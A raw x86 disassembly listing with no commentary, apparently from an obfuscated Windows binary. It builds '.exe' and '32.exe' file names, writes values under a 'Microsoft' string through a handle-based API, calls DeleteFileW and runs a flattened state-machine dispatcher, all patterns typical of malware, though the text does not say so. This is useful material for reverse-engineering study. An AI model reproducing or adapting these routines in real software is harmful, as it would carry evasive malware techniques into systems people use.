mov ecx, dword [esp + 0x1c94]
lea edx, [esp + 0x98]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 0xc], 0x10
call dword [0x46c4e0]
sub esp, 0x10
mov eax, dword [0x46c35c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4f4]
sub esp, 8
mov dword [esp + 0x1c2c], eax
mov eax, dword [esp + 0x1c48]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4dc]
sub esp, 8
mov eax, dword [esp + 0x1c48]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4d8]
sub esp, 8
mov eax, dword [esp + 0x1c40]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4dc]
sub esp, 8
mov eax, dword [esp + 0x1c40]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4d8]
sub esp, 8
mov eax, dword [esp + 0x1c2c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4f0]
sub esp, 8
mov eax, dword [esp + 0x1c50]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4dc]
sub esp, 8
mov eax, dword [esp + 0x1c50]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4d8]
sub esp, 8
mov eax, dword [esp + 0x1c4c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4dc]
sub esp, 8
mov eax, dword [esp + 0x1c4c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4d8]
sub esp, 8
mov eax, dword [esp + 0x1c54]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4dc]
sub esp, 8
mov eax, dword [esp + 0x1c34]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4dc]
sub esp, 8
call fcn.00413e8f
mov ecx, eax
mov edx, 0xcccccccd
mul edx
shr edx, 2
lea eax, [edx + edx*4]
sub ecx, eax
mov eax, dword [ecx*4 + 0x41e138]
mov dword [esp + 0x1c1c], eax
movzx eax, word [eax]
mov dword [esp + 0x74], eax
mov ecx, dword [esp + 0x1c1c]
movzx eax, word [ecx + eax*2 + 2]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x70], eax
mov ecx, dword [esp + 0x1c1c]
mov edx, dword [esp + 0x74]
lea eax, [ecx + edx*2 + 4]
mov dword [esp + 0x50], eax
add ecx, 2
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
lea eax, [esp + 0x1a12]
mov dword [esp], eax
call fcn.00403410
mov eax, dword [esp + 0x74]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x1a12]
mov dword [esp + 8], eax
lea eax, [esp + 0xbcc]
mov dword [esp], eax
mov dword [esp + 4], 0x104
call fcn.00403cc0
mov eax, dword [esp + 0x74]
mov ecx, 0x104
sub ecx, eax
lea eax, [esp + eax*2 + 0xbcc]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 0xc], 4
mov dword [esp + 8], str..exe
call fcn.00403cc0
mov eax, dword [esp + 0x74]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x1a12]
mov dword [esp + 8], eax
lea eax, [esp + 0x9c2]
mov dword [esp], eax
mov dword [esp + 4], 0x104
call fcn.00403cc0
mov eax, dword [esp + 0x74]
mov ecx, 0x104
sub ecx, eax
lea eax, [esp + eax*2 + 0x9c2]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 0xc], 6
mov dword [esp + 8], str.32.exe
call fcn.00403cc0
mov eax, dword [0x41e14c]
movzx eax, byte [eax]
mov dword [esp + 0x74], eax
mov ecx, dword [0x41e14c]
movzx eax, byte [eax + ecx + 1]
mov dword [esp + 0x70], eax
mov ecx, dword [0x41e14c]
mov edx, dword [esp + 0x74]
lea edx, [ecx + edx + 2]
inc ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edx
mov dword [esp + 8], ecx
lea eax, [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], 0x10
call fcn.00403190
mov eax, dword [0x46c364]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4f4]
sub esp, 8
mov dword [esp + 0x1c28], eax
mov eax, dword [0x46c33c]
mov ecx, dword [esp + 0x1c94]
lea edx, [esp + 0xbcc]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4e8]
sub esp, 0xc
mov eax, dword [0x46c344]
mov ecx, dword [esp + 0x1c94]
lea edx, [esp + 0x9c2]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4e8]
sub esp, 0xc
mov eax, dword [0x46c340]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], str.Microsoft
call dword [0x46c4e8]
sub esp, 0xc
mov eax, dword [0x46c37c]
mov ecx, dword [esp + 0x1c94]
lea edx, [esp + 0x88]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 0xc], 0x10
call dword [0x46c4e0]
sub esp, 0x10
mov eax, dword [0x46c368]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4f4]
sub esp, 8
mov dword [esp + 0x1c24], eax
mov eax, dword [0x46c33c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0x4822f8
call dword [0x46c4e8]
sub esp, 0xc
mov eax, dword [esp + 0x1c24]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4f0]
sub esp, 8
mov eax, dword [0x41e150]
movzx eax, word [eax]
mov dword [esp + 0x74], eax
mov ecx, dword [0x41e150]
movzx eax, word [ecx + eax*2 + 2]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x70], eax
mov ecx, dword [0x41e150]
mov edx, dword [esp + 0x74]
lea eax, [ecx + edx*2 + 4]
mov dword [esp + 0x50], eax
add ecx, 2
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
lea eax, [esp + 0xa8]
mov dword [esp], eax
call fcn.00403410
mov eax, dword [0x46c36c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4f4]
sub esp, 8
mov dword [esp + 0x1c20], eax
mov eax, dword [0x46c33c]
mov ecx, dword [esp + 0x1c94]
lea edx, [esp + 0xa8]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4e8]
sub esp, 0xc
mov eax, dword [0x46c348]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4e8]
sub esp, 0xc
mov eax, dword [esp + 0x1c20]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4f0]
sub esp, 8
mov eax, dword [esp + 0x1c28]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4f0]
sub esp, 8
mov eax, dword [esp + 0x1c34]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4d8]
sub esp, 8
mov eax, dword [esp + 0x1c54]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4d8]
sub esp, 8
mov eax, dword [esp + 0x1c3c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4dc]
sub esp, 8
mov eax, dword [esp + 0x1c38]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4dc]
sub esp, 8
mov eax, dword [esp + 0x1c38]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4d8]
sub esp, 8
mov eax, dword [esp + 0x1c3c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4d8]
sub esp, 8
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4dc]
sub esp, 8
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4d8]
sub esp, 8
mov eax, dword [esp + 0x1c30]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46c4f0]
sub esp, 8
mov eax, dword [esp + 0x1c94]
mov dword [esp], eax
call dword [0x46c500]
sub esp, 4
lea eax, [esp + 0x19a]
mov dword [esp], eax
mov dword [esp + 4], 0x20a
call fcn.00404f00
lea eax, [esp + 0x19a]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [0x46c540]
sub esp, 0xc
mov dword [esp + 0x1c9c], eax
mov ecx, 0x31eac964
test eax, eax
je 0x410a08
mov ecx, 0x124832f6
mov dword [esp + 0x54], ecx
jmp 0x40f0b0
cmp eax, 0xc77ccf03
jg 0x410a3b
cmp eax, 0xc2f42799
jne 0x40f0b0
mov dword [esp + 0x1ca0], 0xffffffff
mov dword [esp + 0x54], 0x4376361
jmp 0x40f0b0
cmp eax, 0xc77ccf04
je 0x410a6a
cmp eax, 0xc8152c17
jne 0x410a86
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
sub esp, 4
mov dword [esp], esi
call fcn.0040dc70
mov dword [esp + 0x54], 0xfe065469
jmp 0x40f0b0
cmp dword [esp + 0x60], 6
setb al
mov byte [esp + 0x1caa], al
mov dword [esp + 0x54], 0xbaa6c588
jmp 0x40f0b0
cmp eax, 0xc83db373
jne 0x40f0b0
lea eax, [esp + 0x3a4]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00403970
lea eax, [esp + 0x3a4]
mov dword [esp], eax
mov dword [esp + 0xc], 6
mov dword [esp + 8], str._q__u
mov dword [esp + 4], 0x104
call fcn.00403cc0
lea eax, [esp + 0x11ea]
mov dword [esp], eax
call fcn.00404030
mov dword [esp + 0xc], eax
lea eax, [esp + 0x11ea]
mov dword [esp + 8], eax
lea eax, [esp + 0x3b0]
mov dword [esp], eax
mov dword [esp + 4], 0xfe
call fcn.00403cc0
lea eax, [esp + 0x1808]
mov dword [esp + 0x1c68], eax
lea eax, [esp + 0x3a4]
mov dword [esp + 0x1c6c], eax
mov dword [esp + 0x1c74], 0
lea eax, [esp + 0x1c58]
mov dword [esp], eax
call dword [0x46c510]
sub esp, 4
cmp eax, 1
mov eax, 0x5ffc2e9d
jne 0x410b55
mov eax, 0x9f500aff
mov dword [esp + 0x54], eax
jmp 0x40f0b0
mov eax, dword [esp + 0x1ca0]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret